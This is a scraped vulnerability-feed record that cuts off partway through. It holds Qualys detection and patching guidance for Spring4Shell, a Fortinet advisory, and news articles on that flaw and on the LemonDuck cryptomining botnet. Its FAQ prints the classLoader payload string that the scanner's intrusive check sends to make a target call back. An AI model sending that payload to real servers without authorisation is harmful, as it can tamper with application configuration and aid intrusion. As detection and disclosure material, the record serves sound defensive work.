\n730418| Spring Cloud Function Remote Code Execution (RCE) Vulnerability (Unauthenticated Check)| VULNSIGS-2.5.440-6| Scanner \n150495 | Spring Core Remote Code Execution (RCE) Vulnerability CVE-2022-22965 (Spring4Shell) | VULNSIGS-2.5.443-3 | Web Application Security \n48209 | Spring Framework and Spring Boot JARs Spring Cloud JARs Detected Scan Utility | VULNSIGS-2.5.444-2/manifest 2.5.444.2-1 | Scanner/Cloud Agent \n376514 | Spring Framework Remote Code Execution (RCE) Vulnerability (Spring4Shell) Scan Utility | VULNSIGS-2.5.444-2/manifest 2.5.444.2-1 | Scanner/Cloud Agent \n376520 | Spring Cloud Function Remote Code Execution (RCE) Vulnerability Scan Utility | VULNSIGS-2.5.444-2/manifest 2.5.444.2-1 | Scanner/Cloud Agent \n730416 | Spring Core Remote Code Execution (RCE) Vulnerability (Spring4Shell) (Unauthenticated Check) | VULNSIGS-2.5.445-3 | Scanner \n \n### Discover Your Attack Surface with up-to-date CyberSecurity Asset Management \n\nAs a first step, Qualys recommends assessing all assets in your environment to map the entire attack surface of your organization. \n\n#### Scoping Potential Attack Surface \n\nQualys Cybersecurity Asset Management (CSAM) continuously inventories all your assets and software. Use CSAM to find assets with Apache Tomcat running on JDK 9 or higher. \n \n \n QQL: _software:(name:tomcat) and software:(name:\"jdk\" and version>=9)___ \n\n\n\n#### Finding Vulnerable Spring Components and Versions \n\nQualys CSAM can further help you narrow down the scope by adding Spring Framework to the search criteria, and specifically match on vulnerable components and versions. This can be used to find assets that have not yet been scanned with VMDR for the Spring4Shell QIDs yet. \n \n \n QQL: software:(name:tomcat) and software:(name:\"jdk\" and version>=9) and software:(name:\"Spring\" and version:\"vulnerable\") \n\n#### Monitoring Upgrades and Mitigations \n\nUpgrading to Spring Framework 5.3.18+ or 5.2.20+ addresses the root cause and prevents other attack vectors, and it adds protection for other CVEs. Qualys CSAM allows customers to list all Spring Framework versions and verify upgrades. \n\nHowever, some may be in a position where upgrading is not possible to do quickly. VMware provided the mitigation alternative to upgrade Apache Tomcat to versions 10.0.20, 9.0.62, or 8.5.78, which close the attack vector on Tomcat\u2019s side. Qualys CSAM allows you to check for the presence or absence of these Tomcat updates. \n\nQQL for assets with mitigated Tomcat: \n \n \n software:(name:tomcat and update:[`10.0.20`,`9.0.62`,`8.5.78`]) \n\nQQL for assets excluding mitigated Tomcat: \n \n \n software:(name:tomcat and not update:[`10.0.20`,`9.0.62`,`8.5.78`]) and software:(name:\"jdk\" and version>=9) and software:(name:\"Spring\" and version:\"vulnerable\") \n\n#### Context Is Critical to Prioritize and Remediate \n\nSecurity teams need to understand the distribution of affected assets from different perspectives, such as internet-exposed, production versus non-production, and which of these assets support business-critical services. Qualys CSAM integrates with additional sources, to import asset and business context, that helps customers further understand their impact, prioritize assets based on business criticality, and work with corresponding asset owners and support groups to take remedial actions. \n\nQQL for assets with Tomcat exposed to the internet and visible in Shodan: \n \n \n software:(name:tomcat) and software:(name:\"jdk\" and version>=9) and tags.name:shodan \n\n\n\n### Detect the Vulnerability with Qualys WAS\n\nSecond, protect your public Internet-facing apps, as they are the most exposed to attack and therefore high priority. \n\nThe Qualys WAS Research Team has developed two signatures for detecting vulnerable versions of the Spring Framework. \n\n * QID 150494 (released April 1st) will report vulnerable versions of Spring Cloud Applications (CVE-2022-22963). \n * QID 150495 (released on 6th) will report vulnerable versions of Spring Core Applications (CVE-2022-22965). \n\nThese QIDs are automatically added to the Core Detection Scope. If you are scanning web applications with the Initial WAS Option Profile then there is no further action necessary. Your scans will automatically test for vulnerable versions of the Spring Framework and report any vulnerable instances found. \n\nIf you are using a custom Option Profile for your scans, please ensure you are either using the Core Detection Scope in your Option Profile or adding the above QIDs to any static or dynamic Custom Search Lists. \n\n\n\nThese QIDs collectively use a combination of Out-of-Band and non-Out-of-Band tests for accurate detection. \n\n\n\nThe WAS Research Team is investigating other safe methods for detecting this vulnerability to compensate for potential False Negatives or False Positive cases. In the meantime, it is recommended to use WAS in coordination with other Qualys modules for a more comprehensive methodology for detecting the Spring4Shell vulnerability. \n\nIf your application is vulnerable to Spring4Shell, it is recommended that you immediately follow the steps outlined in the \u201cIs there a patch available for Spring4Shell?\u201d section of this blog. \n\n### Detect Spring4Shell Vulnerability Using Qualys VMDR\n\nNext, it\u2019s time to find Spring4Shell wherever it is hiding in your environment and prioritize your response. \n\nQualys VMDR customers should ensure all their assets are scanned against the above QIDs. As this vulnerability only targets the Spring Framework when deployed with JDK>9 and Tomcat, customers must at least ensure assets with Tomcat and JDK>9 are scanned. The following QQL can be used to find such assets: \n \n \n software:(name:tomcat and not update:[`10.0.20`,`9.0.62`,`8.5.78`]) and software:(name:\"jdk\" and version>=9) \n\n\n\nOnce assets have been scanned for the above QIDs, customers can use the following QQL to search for the Spring4Shell vulnerability in their environment: \n\nvulnerabilities.vulnerability.qid:376506 \n\n\n\n### Track Spring4Shell Progress with Unified Dashboard\n\nThe Unified Dashboard enables you to track this vulnerability and its impacted hosts, their status, and overall management in real-time. To help you quickly find vulnerable hosts and software, a new unified dashboard is created on the Qualys platform. This dashboard has extremely useful widgets listing all the vulnerable hosts, applications with vulnerable versions of Spring, and most importantly all the vulnerable hosts visible on the Internet. It provides visibility to compliance configurations and software on your \u2018External Attack Surface\u2019 visible on [Shodan](<https://blog.qualys.com/vulnerabilities-threat-research/2021/12/20/qualys-integrates-with-shodan-to-help-map-the-external-attack-surface>) being the low-hanging opportunities for attackers. These widgets also list workloads hosted on shared cloud infrastructure and that have public IP addresses. To use this capability, download and import this Global Dashboard. \n\n[[Download and import \u201cSpring4Shell\u201d Global Dashboard](<https://2jws2s3y97dy39441y2lgm98-wpengine.netdna-ssl.com/wp-content/uploads/2022/04/QLYS-Spring4Shell-Dashboard.zip>)](<https://blog.qualys.com/wp-content/uploads/2022/04/QLYS-Spring4Shell-Dashboard-2.zip>)[Download](<https://blog.qualys.com/wp-content/uploads/2022/04/QLYS-Spring4Shell-Dashboard-2.zip>)\n\n\n\n### Detect Spring4Shell Vulnerabilities in Running Containers & Images\n\nIf you run Apache Tomcat in containers, then it is critical that you check for Spring4Shell vulnerabilities, given the high severity of this potential exploit. Qualys Container Security offers multiple methods to help you detect Spring4Shell vulnerabilities in your container environment. The Container Security sensor checks both running containers and container images for the following vulnerabilities: \n\n * QID 376506(CVE-2022-22965) \n * QID 376508 (CVE-2022-22963 \n\nTo detect vulnerabilities in running containers, you must deploy the Container Security sensor in \u201cGeneral\u201d mode on the hosts running the containers. You can view the containers impacted by these vulnerabilities by navigating to the \u201cContainer Security\u201d application, then selecting the \u201cAssets-> Container\u201d tab, and using the following QQL query: \n\nvulnerabilities.qid:376506 or vulnerabilities.qid:376508 \n\n\n\nTo view details of the vulnerability, you can click on the vulnerable container and navigate to the \u201cVulnerabilities\u201d tab as shown in the screenshot below: \n\n\n\nIn addition to scanning running containers, Qualys recommends that you scan container images for Spring4Shell vulnerabilities. Catching and remediating Spring4Shell vulnerabilities in container images will eliminate exposure to the vulnerabilities when the image is instantiated as a container. \n\nTo view all the impacted images, navigate to the Qualys Container Security app, then select the \u201cAssets -> Images\u201d tab, and use the following QQL query: \n \n \n vulnerabilities.qid:376506 or vulnerabilities.qid:376508 \n\n\n\nTo view details of the vulnerability, you can click on the image and navigate to the \u201cVulnerabilities\u201d tab as shown in the screenshot below: \n\n\n\nQualys Container Security offers a comprehensive solution for detecting vulnerabilities, including Spring4Shell, across the entire lifecycle of the container from build time to runtime. \n\n### Remediate Spring4Shell Using Qualys Patch Management\n\nThe recommended way to patch this vulnerability is by updating to Spring Framework 5.3.18 and 5.2.20 or greater. Customers can use Patch Management\u2019s install software action to download and script the upgrade. Note that customers can create a patch job that only includes the install/script action, in such case there is no need to add patches to the job. Alternatively, if upgrading the Spring Framework is not possible, customers can use Qualys patch management to patch Tomcat to versions: 10.0.20, 9.0.62, or 8.5.78. Tomcat patches are supported out-of-the-box and require no special configuration. \n\n\n\n### Detect Spring4Shell Exploitation Attempts with Qualys XDR\n\nAn important last step in confronting Spring4Shell is to ensure that your organization has not already been targeted by attacks that exploit this vulnerability. \n\nThe Qualys Threat Intelligence team has released the following XDR correlation rules for detecting Remote Code Execution exploitation attempts. These rules are available today via your TAM for quick import and implementation and will be delivered as part of a rule pack in a future XDR release. \n\nT1190 - [Palo Alto Firewall] Spring4Shell RCE Vulnerability Exploitation Detected (CVE-2022-22965) \n\nT1190 - [Check Point IPS] Spring4Shell RCE Vulnerability Exploitation Detected (CVE-2022-22965) \n\nT1190 - [Fortinet Firewall] Spring4Shell RCE Vulnerability Exploitation Detected (CVE-2022-22965) \n\nT1190 - [Trend Micro TippingPoint IPS] Spring4Shell RCE Vulnerability Exploitation Detected (CVE-2022-22965) \n\n### FAQ: \n\n#### Is this vulnerability related to CVE-2022-22963? \n\nThere is some confusion about this zero-day vulnerability due to another unrelated Spring vulnerability (CVE-2022-22963) published on March 29, 2022. This vulnerability, CVE-2022-22963, impacts Spring Cloud Function, which is not in Spring Framework. \n\nQIDs 376508 and 730418 are available to address this CVE. \n\n#### What is the detection logic for QID 376506: Spring Core Remote Code Execution (RCE) Vulnerability (Spring4Shell)? \n\nQID 376506 is an authenticated check currently supported on Linux and Windows Operating Systems. \n\nOn Linux systems, detection checks if system has java 9 or later versions and executes \u2018locate\u2019 and \u2018 ls -l /proc/*/fd \u2018 to checks if one of the \u2018 spring-webmvc-*.jar \u2018, \u2018 spring-webflux*.jar \u2018 or \u2018 spring-boot.*jar \u2018 present on the system. \n\nOn Windows system, detection checks vulnerable instances of Spring via WMI to check spring-webmvc, spring-webflux and spring-boot are included in the running processes via command-line with JDK9 or higher. \n\nContainer Sensor image scanning uses find command to check for spring-webmvc, spring-webflux and spring-boot jars from .war files along with JDK9 or higher. \n\n#### Under what situations would QID 376506 not detect the vulnerability? \n\nQID 376506 might not be detected if access to /proc/*/fd is restricted or if the spring-core or spring-beans file is embedded inside other binaries, such as jar, war, etc. \n\nFurthermore, this QID might not be detected if the locate command is not available on the target. Targets on Java versions less than 9 are not vulnerable. \n\n#### What is the detection logic for QID 730416 (unauthenticated check)? \n\nQID 730416 is a remote unauthenticated check. It sends a specially crafted HTTP GET request to the remote web application and tries to get a callback on scanner using payload: \n \n \n \"?class.module.classLoader.resources.context.configFile=http://<Scanner_IP>:<Random_port>&class.module.classLoader.resources.context.configFile\" \n\nQID 730416 is an intrusive check. The payload used in the detection may in some cases change the Spring configuration on the target application which can hamper the application's logging capabilities. \n\n#### Under what conditions would QID 730416 not work? \n\nQID 730416 will not work if the following conditions are present: \n\n * "Do not exclude Intrusive checks" is not enabled in Scan Option Profile \n * This QID only checks for the vulnerability at root URI. If the vulnerability lies in non-root URIs, the QID would not be detected. \n * If communication from host to scanner is blocked. \n * The payload gets blocked by a firewall, IPS, etc. that is between the host and the scanner. \n\n### Updates\n\n**Update \u2013 April **7 \n\nA new QID (730416) was added to address CVE-2022-22963 under \u201cQID Coverage\u201d. \n\n**Update \u2013 April 6** \n\nSeveral new QIDs to address CVE-2022-22963 are now available under \u201cQID Coverage\u201d. The CSAM section has been expanded. \n\n**U****pdate \u2013 April 5****** \n\nGuidance added for detection using Qualys CSAM, VMDR and XDR, and tracking remediation progress using Unified Dashboards and Patch Management. \n\n**Update \u2013 April 4**** ** \n\nQualys has added a [scan utility](<https://github.com/Qualys/spring4scanwin>) for Windows and [scan utility](<https://github.com/Qualys/spring4scanlinux>) for Linux to scan the entire hard drive(s), including archives (and nested JARs,) that indicate the Java application contains a vulnerable Spring Framework or Spring Cloud library. \n\n**Update \u2013 April 1** \n\nNew QIDs to address CVE-2022-22963 are now available. See section \u201cQID Coverage\u201d section. \n\n**Update \u2013 March 31** \n\nCVE-2022-22965 is now assigned to this vulnerability. Qualys Research Team has released QIDs as of March 30 and will keep updating those QIDs as new information is available.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T09:00:00", "type": "qualysblog", "title": "Spring Framework Zero-Day Remote Code Execution (Spring4Shell) Vulnerability", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-03-31T09:00:00", "id": "QUALYSBLOG:6DE7FC733B2FD13EE70756266FF191D0", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "fortinet": [{"lastseen": "2023-07-01T14:08:27", "description": "Two distinct spring project vulnerabilities where released recently with critical CVSS score and classified as zero-Day attacks. \nThe two vulnerabilities are currently known as : \nCVE-2022-22965 or Spring4Shell: \nA Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it. \nhttps://tanzu.vmware.com/security/cve-2022-22965 \n[https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html?fbclid=IwAR2fXxKQjG9vnJiOaXyZ1N_Ypx91TOzO6f48qGZRfKRzinYtD5nUCIptIjg&m=1](<https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html?fbclid=IwAR2fXxKQjG9vnJiOaXyZ1N_Ypx91TOzO6f48qGZRfKRzinYtD5nUCIptIjg&m=1>) \nCVE-2022-22963: \nIn Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing \nfunctionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that \nmay result in access to local resources. \n<https://tanzu.vmware.com/security/cve-2022-22963>\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-01T00:00:00", "type": "fortinet", "title": "CVE-2022-22965 and CVE-2022-22963 vulnerabilities", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-04-01T00:00:00", "id": "FG-IR-22-072", "href": "https://www.fortiguard.com/psirt/FG-IR-22-072", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "thn": [{"lastseen": "2022-05-09T12:37:25", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgcabrqTD1UQL7HzljPrvwqXCYkv1djclox3AcQ8Na_vxMGVKwdIvy2QcZ94T6oEON-yCPdjn3NS1gjIhnvO0vhWztDQGuRG-vGMFK-4gF5h-JCwb15c_pE1mTCO9ZQFElckaP6p-wzLgC28Pp1MWGFMwW6ZXK8kjJu7rkmX4n7CbstCx-sROAhbl6t/s728-e100/java-spring-framework.jpg>)\n\nA zero-day remote code execution (RCE) vulnerability has come to light in the Spring framework shortly after a Chinese security researcher [briefly leaked](<https://twitter.com/vxunderground/status/1509170582469943303>) a [proof-of-concept](<https://github.com/tweedge/springcore-0day-en>) (PoC) [exploit](<https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/>) on GitHub before deleting their account.\n\nAccording to cybersecurity firm Praetorian, the unpatched flaw impacts Spring Core on Java Development Kit ([JDK](<https://en.wikipedia.org/wiki/Java_Development_Kit>)) versions 9 and later and is a bypass for another vulnerability tracked as [CVE-2010-1622](<https://nvd.nist.gov/vuln/detail/CVE-2010-1622>), enabling an unauthenticated attacker to execute arbitrary code on the target system.\n\nSpring is a [software framework](<https://en.wikipedia.org/wiki/Spring_Framework>) for building Java applications, including web apps on top of the Java EE (Enterprise Edition) platform.\n\n\"In certain configurations, exploitation of this issue is straightforward, as it only requires an attacker to send a crafted HTTP request to a vulnerable system,\" researchers Anthony Weems and Dallas Kaman [said](<https://www.praetorian.com/blog/spring-core-jdk9-rce/>). \"However, exploitation of different configurations will require the attacker to do additional research to find payloads that will be effective.\"\n\nAdditional details of the flaw, dubbed \"**SpringShell**\" and \"**Spring4Shell**,\" have been withheld to prevent exploitation attempts and until a fix is in place by the framework's maintainers, Spring.io, a subsidiary of VMware. It's also yet to be assigned a Common Vulnerabilities and Exposures (CVE) identifier.\n\nIt's worth noting that the flaw targeted by the zero-day exploit is different from two previous vulnerabilities disclosed in the application framework this week, including the Spring Framework expression DoS vulnerability ([CVE-2022-22950](<https://tanzu.vmware.com/security/cve-2022-22950>)) and the Spring Cloud expression resource access vulnerability ([CVE-2022-22963](<https://tanzu.vmware.com/security/cve-2022-22963>)).\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhravc9h6Jt8CniALz9rmUeOODWW7XOdJIlvXQbqQkpHJj5wBhPstmROb2bwynD_ugHL4A6E-wxt6DP6LTLoHFp7_ksvQ3j_SdaY4Y7l_XNW3trRxMFhWTLGm3Kju7DTSYzgG4TFLWcIcBi1hChVTWwYbalxyEWYe57BJjxvvGeqT46gjU6bHM1jJYd/s728-e100/whoami.jpg>)\n\nIn the interim, Praetorian researchers are recommending \"creating a ControllerAdvice component (which is a Spring component shared across Controllers) and adding dangerous patterns to the denylist.\"\n\nInitial analysis of the new code execution flaw in Spring Core suggests that its impact may not be severe. \"[C]urrent information suggests in order to exploit the vulnerability, attackers will have to locate and identify web app instances that actually use the DeserializationUtils, something already known by developers to be dangerous,\" Flashpoint [said](<https://www.flashpoint-intel.com/blog/what-is-springshell-what-we-know-about-the-springshell-vulnerability/>) in an independent analysis.\n\nDespite the public availability of PoC exploits, \"it's currently unclear which real-world applications use the vulnerable functionality,\" Rapid7 [explained](<https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/>). \"Configuration and JRE version may also be significant factors in exploitability and the likelihood of widespread exploitation.\"\n\nThe Retail and Hospitality Information Sharing and Analysis Center (ISAC) also [issued a statement](<https://www.rhisac.org/press-release/spring-framework-rce-vulnerability/>) that it has investigated and confirmed the \"validity\" of the PoC for the RCE flaw, adding it's \"continuing tests to confirm the validity of the PoC.\"\n\n\"The Spring4Shell exploit in the wild appears to work against the stock 'Handling Form Submission' sample code from spring.io,\" CERT/CC vulnerability analyst Will Dormann [said](<https://twitter.com/wdormann/status/1509372145394200579>) in a tweet. \"If the sample code is vulnerable, then I suspect there are indeed real-world apps out there that are vulnerable to RCE.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T05:52:00", "type": "thn", "title": "Unpatched Java Spring Framework 0-Day RCE Bug Threatens Enterprise Web Apps Security", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1622", "CVE-2022-22950", "CVE-2022-22963"], "modified": "2022-03-31T15:27:03", "id": "THN:51196AEF32803B9BBB839D4CADBF5B38", "href": "https://thehackernews.com/2022/03/unpatched-java-spring-framework-0-day.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:24", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhWlwJSeK-UN5NDOjiAywASbd_85nVwwTSZ4p8416Nk2RzVheiZQZRoJ5feUk8aU4hPOqPbLeoQN6jMQxYXE9wZB1Tz_HjYFDEo_gzhIQz0vrVA0tBuh4Plkfo8LRfEkUpX-to0flLTfnMNB0JmxRQsmswCA5bl1WedSRcYO93Vy5C1Y9lZXBeiRxfE/s728-e100/patch.jpg>)\n\nThe maintainers of Spring Framework have released an emergency patch to address a newly disclosed [remote code execution flaw](<https://thehackernews.com/2022/03/unpatched-java-spring-framework-0-day.html>) that, if successfully exploited, could allow an unauthenticated attacker to take control of a targeted system.\n\nTracked as [CVE-2022-22965](<https://tanzu.vmware.com/security/cve-2022-22965>), the high-severity flaw impacts Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and other older, unsupported versions. Users are recommended to upgrade to versions 5.3.18 or later and 5.2.20 or later.\n\nThe Spring Framework is a Java framework that offers infrastructure support to develop web applications.\n\n\"The vulnerability impacts Spring [MVC](<https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller>) [model\u2013view\u2013controller] and Spring WebFlux applications running on [Java Development Kit] 9+,\" Rossen Stoyanchev of Spring.io [said](<https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement>) in an advisory published Thursday.\n\n\"The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e., the default, it is not vulnerable to the exploit,\" Stoyanchev added.\n\n\"Exploitation requires an endpoint with DataBinder enabled (e.g., a POST request that decodes data from the request body automatically) and depends heavily on the servlet container for the application,\" Praetorian researchers Anthony Weems and Dallas Kaman [said](<https://www.praetorian.com/blog/spring-core-jdk9-rce/>).\n\nThat said, Spring.io warned that the \"nature of the vulnerability is more general\" and that there could be other ways to weaponize the flaw that has not come to light.\n\nThe patch arrives as a Chinese-speaking researcher briefly published a GitHub commit that contained proof-of-concept (PoC) exploit code for CVE-2022-22965 on March 30, 2022, before it was taken down.\n\nSpring.io, a subsidiary of VMware, noted that it was first alerted to the vulnerability \"late on Tuesday evening, close to midnight, GMT time by codeplutos, meizjm3i of AntGroup FG Security Lab.\" It also credited cybersecurity firm Praetorian for reporting the flaw.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T15:35:00", "type": "thn", "title": "Security Patch Releases for Critical Zero-Day Bug in Java Spring Framework", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-05T03:15:06", "id": "THN:7A3DFDA680FEA7FB77640D29F9D3E3E2", "href": "https://thehackernews.com/2022/03/security-patch-releases-for-critical.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:27", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiQLJsA4VqLU_2Ko5mgCsWlJMIvwJT2aoEwLoOKMLxy58CeNKOGs27Dp9UfziDFWzjBdovG_PWvQNtsSMBZo4TPOTCJEfeBa3iT0K6lhdquC_6NlvR1qkZoGlYQfXgCwTDOk-gGVKSHY_iHWYSwCWPKdbGNIFo7sFQcS8GrfaN9XAP9-OcC3-Q64mup/s728-e100/crypto-mining.jpg>)\n\nLemonDuck, a cross-platform cryptocurrency mining botnet, is targeting Docker to mine cryptocurrency on Linux systems as part of an active malware campaign.\n\n\"It runs an anonymous mining operation by the use of proxy pools, which hide the wallet addresses,\" CrowdStrike [said](<https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/>) in a new report. \"It evades detection by targeting Alibaba Cloud's monitoring service and disabling it.\"\n\nKnown to strike both Windows and Linux environments, LemonDuck is primarily engineered for abusing the system resources to mine Monero. But it's also capable of credential theft, lateral movement, and facilitating the deployment of additional payloads for follow-on activities.\n\n\"It uses a wide range of spreading mechanisms \u2014 phishing emails, exploits, USB devices, brute force, among others \u2014 and it has shown that it can quickly take advantage of news, events, or the release of new exploits to run effective campaigns,\" Microsoft [detailed](<https://thehackernews.com/2021/07/microsoft-warns-of-lemonduck-malware.html>) in a technical write-up of the malware last July. \n\nIn early 2021, attack chains involving LemonDuck [leveraged](<https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/>) the then newly patched [Exchange Server vulnerabilities](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>) to gain access to outdated Windows machines, before downloading backdoors and information stealers, including Ramnit.\n\nThe latest campaign spotted by CrowdStrike takes advantage of exposed Docker APIs as an initial access vector, using it to run a rogue container to retrieve a Bash shell script file that's disguised as a harmless PNG image file from a remote server.\n\nAn analysis of historical data shows that similar image file droppers hosted on LemonDuck-associated domains have been put to use by the threat actor since at least January 2021, the cybersecurity firm noted.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgnepqytFGyLXQ-se6LSQbD8dcaKtmXDuAVuPCd_sPXu7Yx48Lz-oOWavHaLTuVfJs51onI2dx2vm_sbhMbEMBmlmxd2VKQlwVynElKDwR3CU4NPjtYhIE7eAKStI5X-t0n_wmahvr1LKomSVvdEsfaiHUYHz1dDW2dYzUEwbyQLlaW27yosLkpLVHy/s728-e100/docker.jpg>)\n\nThe dropper files are key to launching the attack, with the shell script downloading the actual payload that then kills competing processes, disables Alibaba Cloud's monitoring services, and finally downloads and runs the XMRig coin miner.\n\nWith [compromised cloud instances](<https://thehackernews.com/2021/11/hackers-using-compromised-google-cloud.html>) becoming a hotbed for illicit cryptocurrency mining activities, the findings underscore the need to secure containers from potential risks throughout the software supply chain.\n\n### TeamTNT targets AWS, Alibaba Cloud\n\nThe disclosure comes as Cisco Talos exposed the toolset of a cybercrime group named TeamTNT, which has a history of targeting cloud infrastructure for cryptojacking and placing backdoors.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEj6dfAwirfE8zK8lIvO9C83J02rpPa4oqENbHyfJRLj36q8mg1qdWQazJucqou991fXw6Xt6GyN-cLDDFrr2CAxKN7qIC4HXZI2r7XKpG_vwbA5MggiCzUCWAs0-mSkJ6kbK3Dz00BVEgGS5JmJphX1B9Igew8fq9dCPv_WDqWCupPxoaYwe4nSYro3/s728-e100/code.jpg>)\n\nThe malware payloads, which are said to have been modified in response to [previous public disclosures](<https://www.trendmicro.com/en_us/research/21/c/teamtnt-continues-attack-on-the-cloud--targets-aws-credentials.html>), are primarily designed to target Amazon Web Services (AWS) while simultaneously focused on cryptocurrency mining, persistence, lateral movement, and disabling cloud security solutions.\n\n\"Cybercriminals who are outed by security researchers must update their tools in order to continue to operate successfully,\" Talos researcher Darin Smith 